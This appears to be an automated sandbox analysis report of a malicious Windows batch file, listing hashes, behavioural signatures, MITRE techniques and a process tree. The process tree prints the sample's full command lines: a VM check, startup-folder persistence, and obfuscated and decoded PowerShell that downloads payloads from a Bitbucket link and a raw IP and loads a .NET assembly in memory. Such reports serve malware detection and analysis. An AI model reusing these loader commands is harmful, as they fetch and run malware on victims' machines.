69474069c929065596f1c0ebda5f40a102dc5c4fe152da3d5e8e92210cf84f7d

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
17-12-2024 08:40

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General

Target

beac54161d73fc530e3bff90cb7f7f5e.bat
Size

13KB
MD5

beac54161d73fc530e3bff90cb7f7f5e
SHA1

0034230a87b352f1fab34211bd6691717ddbb68b
SHA256

69474069c929065596f1c0ebda5f40a102dc5c4fe152da3d5e8e92210cf84f7d
SHA512

fe4292896814ad4e60be94e5993c5ff85c8fe38215be32342775021fa9017b1fcce10f1a782509e341e740a3817f60108744317c920f2a6b57727f66c3050820
SSDEEP

192:O+UsWf/t0hVd43DsM7sBcv49xnvWhZIayGRX2X7WX1XCYAGZuapp39fRhNLmU7q/:SsScluCnV7340zeipmM

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2860	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2936	powershell.exe
2860	powershell.exe
2772	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\beac54161d73fc530e3bff90cb7f7f5e.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\beac54161d73fc530e3bff90cb7f7f5e.bat	cmd.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2936	powershell.exe
2860	powershell.exe
2772	powershell.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2540	WMIC.exe
Token: SeSecurityPrivilege	2540	WMIC.exe
Token: SeTakeOwnershipPrivilege	2540	WMIC.exe
Token: SeLoadDriverPrivilege	2540	WMIC.exe
Token: SeSystemProfilePrivilege	2540	WMIC.exe
Token: SeSystemtimePrivilege	2540	WMIC.exe
Token: SeProfSingleProcessPrivilege	2540	WMIC.exe
Token: SeIncBasePriorityPrivilege	2540	WMIC.exe
Token: SeCreatePagefilePrivilege	2540	WMIC.exe
Token: SeBackupPrivilege	2540	WMIC.exe
Token: SeRestorePrivilege	2540	WMIC.exe
Token: SeShutdownPrivilege	2540	WMIC.exe
Token: SeDebugPrivilege	2540	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2540	WMIC.exe
Token: SeRemoteShutdownPrivilege	2540	WMIC.exe
Token: SeUndockPrivilege	2540	WMIC.exe
Token: SeManageVolumePrivilege	2540	WMIC.exe
Token: 33	2540	WMIC.exe
Token: 34	2540	WMIC.exe
Token: 35	2540	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2540	WMIC.exe
Token: SeSecurityPrivilege	2540	WMIC.exe
Token: SeTakeOwnershipPrivilege	2540	WMIC.exe
Token: SeLoadDriverPrivilege	2540	WMIC.exe
Token: SeSystemProfilePrivilege	2540	WMIC.exe
Token: SeSystemtimePrivilege	2540	WMIC.exe
Token: SeProfSingleProcessPrivilege	2540	WMIC.exe
Token: SeIncBasePriorityPrivilege	2540	WMIC.exe
Token: SeCreatePagefilePrivilege	2540	WMIC.exe
Token: SeBackupPrivilege	2540	WMIC.exe
Token: SeRestorePrivilege	2540	WMIC.exe
Token: SeShutdownPrivilege	2540	WMIC.exe
Token: SeDebugPrivilege	2540	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2540	WMIC.exe
Token: SeRemoteShutdownPrivilege	2540	WMIC.exe
Token: SeUndockPrivilege	2540	WMIC.exe
Token: SeManageVolumePrivilege	2540	WMIC.exe
Token: 33	2540	WMIC.exe
Token: 34	2540	WMIC.exe
Token: 35	2540	WMIC.exe
Token: SeDebugPrivilege	2936	powershell.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	2772	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2332 wrote to memory of 2540	2332	cmd.exe	32
PID 2332 wrote to memory of 2540	2332	cmd.exe	32
PID 2332 wrote to memory of 2540	2332	cmd.exe	32
PID 2332 wrote to memory of 2116	2332	cmd.exe	33
PID 2332 wrote to memory of 2116	2332	cmd.exe	33
PID 2332 wrote to memory of 2116	2332	cmd.exe	33
PID 2332 wrote to memory of 2936	2332	cmd.exe	35
PID 2332 wrote to memory of 2936	2332	cmd.exe	35
PID 2332 wrote to memory of 2936	2332	cmd.exe	35
PID 2936 wrote to memory of 2860	2936	powershell.exe	36
PID 2936 wrote to memory of 2860	2936	powershell.exe	36
PID 2936 wrote to memory of 2860	2936	powershell.exe	36
PID 2332 wrote to memory of 2772	2332	cmd.exe	37
PID 2332 wrote to memory of 2772	2332	cmd.exe	37
PID 2332 wrote to memory of 2772	2332	cmd.exe	37

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\beac54161d73fc530e3bff90cb7f7f5e.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2332
- C:\Windows\System32\Wbem\WMIC.exe
  wmic cpu get name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2540
- C:\Windows\system32\find.exe
  find "QEMU"
  2⤵
  PID:2116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Go#ZgBn#Gs#ZgBn#Gg#Zg#v#HM#ZwBz#GQ#ZwBo#HM#Z#Bm#HM#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#Gc#LgBq#H##Zw#/#DE#Mw#0#DE#NQ#n#Cw#I##n#Gg#d#B0#H##Og#v#C8#MQ#w#DM#Lg#y#D##Lg#x#D##Mg#u#DY#Mg#v#G4#ZQB3#F8#aQBt#Gc#LgBq#H##Zw#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##9#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I##k#Gw#aQBu#Gs#cw#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##LQBu#GU#I##k#G4#dQBs#Gw#KQ#g#Hs#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBU#GU#e#B0#C4#RQBu#GM#bwBk#Gk#bgBn#F0#Og#6#FU#V#BG#Dg#LgBH#GU#d#BT#HQ#cgBp#G4#Zw#o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#C##J#Bl#G4#Z#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#KQ#7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bl#G4#Z#BG#Gw#YQBn#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#ZwB0#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ck#I#B7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##Kw#9#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##g#D0#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#GI#YQBz#GU#Ng#0#EM#bwBt#G0#YQBu#GQ#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#FM#dQBi#HM#d#By#Gk#bgBn#Cg#J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Cw#I##k#GI#YQBz#GU#Ng#0#Ew#ZQBu#Gc#d#Bo#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBD#G8#bgB2#GU#cgB0#F0#Og#6#EY#cgBv#G0#QgBh#HM#ZQ#2#DQ#UwB0#HI#aQBu#Gc#K##k#GI#YQBz#GU#Ng#0#EM#bwBt#G0#YQBu#GQ#KQ#7#C##J#Bs#G8#YQBk#GU#Z#BB#HM#cwBl#G0#YgBs#Hk#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FI#ZQBm#Gw#ZQBj#HQ#aQBv#G4#LgBB#HM#cwBl#G0#YgBs#Hk#XQ#6#Do#T#Bv#GE#Z##o#CQ#YwBv#G0#bQBh#G4#Z#BC#Hk#d#Bl#HM#KQ#7#C##J#B0#Hk#c#Bl#C##PQ#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C4#RwBl#HQ#V#B5#H##ZQ#o#Cc#d#Bl#HM#d#Bw#G8#dwBl#HI#cwBo#GU#b#Bs#C4#S#Bv#G0#ZQ#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bt#GU#d#Bo#G8#Z##g#D0#I##k#HQ#eQBw#GU#LgBH#GU#d#BN#GU#d#Bo#G8#Z##o#Cc#b#Bh#Cc#KQ#u#Ek#bgB2#G8#awBl#Cg#J#Bu#HU#b#Bs#Cw#I#Bb#G8#YgBq#GU#YwB0#Fs#XQBd#C##K##n#HQ#e#B0#C4#SQBk#GY#SQBn#Gs#QQ#v#DI#Ng#u#DI#M##x#C4#M##y#C4#Mw#w#DE#Lw#v#Do#c#B0#HQ#a##n#Cw#I##n#D##Jw#s#C##JwBT#HQ#YQBy#HQ#dQBw#E4#YQBt#GU#Jw#s#C##JwBS#GU#ZwBB#HM#bQ#n#Cw#I##n#D##Jw#p#Ck#fQB9##==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($codigo.replace('#','A')));powershell.exe $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jfgkfghf/sgsdghsdfs/downloads/new_img.jpg?13415', 'http://103.20.102.62/new_img.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.IdfIgkA/26.201.02.301//:ptth', '0', 'StartupName', 'RegAsm', '0'))}}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  pOWeRshElL.eXE -EX bYPasS -nOp -W hiDdeN -eC IAAgAGkAUgBtACAACQAtAFUAUgBpACAAKAAdIGgAdAB0AHAAOgAvAC8AMQAwADMALgAyADAALgAxADAAMgAuADYAMgAvADQAMAA0AC4AZABvAB0gIAAJACAACQArACAACQAdIGMAeAAdICAACQApACAALQBvAFUAVABGAEkATABFACAACQAdICQARQBOAFYAOgBhAHAAUABkAGEAdABBAFwAZABvAG4AaABhAG4AZwAuAGQAbwBjAHgAHSAgAAkAOwAgAAkAaQBuAHYATwBrAEUALQBpAFQAZQBtACAAHSAkAEUATgB2ADoAYQBwAHAAZABBAHQAQQBcAGQAbwBuAGgAYQBuAGcALgBkAG8AYwB4AB0g
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
06761266a536bbd361ae45162047e9f3

SHA1
07c67b13fc8ea35a090564418b4e5b7402e95168

SHA256
eead5a5ad8fb241ca07fa20a038cfd0d60fc02ef6c97757782df6f5cc1244c96

SHA512
b099b2c8f8ad32a819d7c3c2259718bb2ee0b7de3c03bc4f54f9382d3661b5c719344fb9f86526ed4be8ca9c3cc92ee4639edeba97083b0e31e4b651280639d3

Download Submit
memory/2772-25-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2772-26-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2860-16-0x0000000002BB0000-0x0000000002BC0000-memory.dmp

Filesize
64KB

Download
memory/2936-4-0x000007FEF664E000-0x000007FEF664F000-memory.dmp

Filesize
4KB

Download
memory/2936-6-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2936-5-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/2936-8-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2936-13-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2936-14-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2936-15-0x000007FEF664E000-0x000007FEF664F000-memory.dmp

Filesize
4KB

Download
memory/2936-17-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

Filesize
9.6MB

Download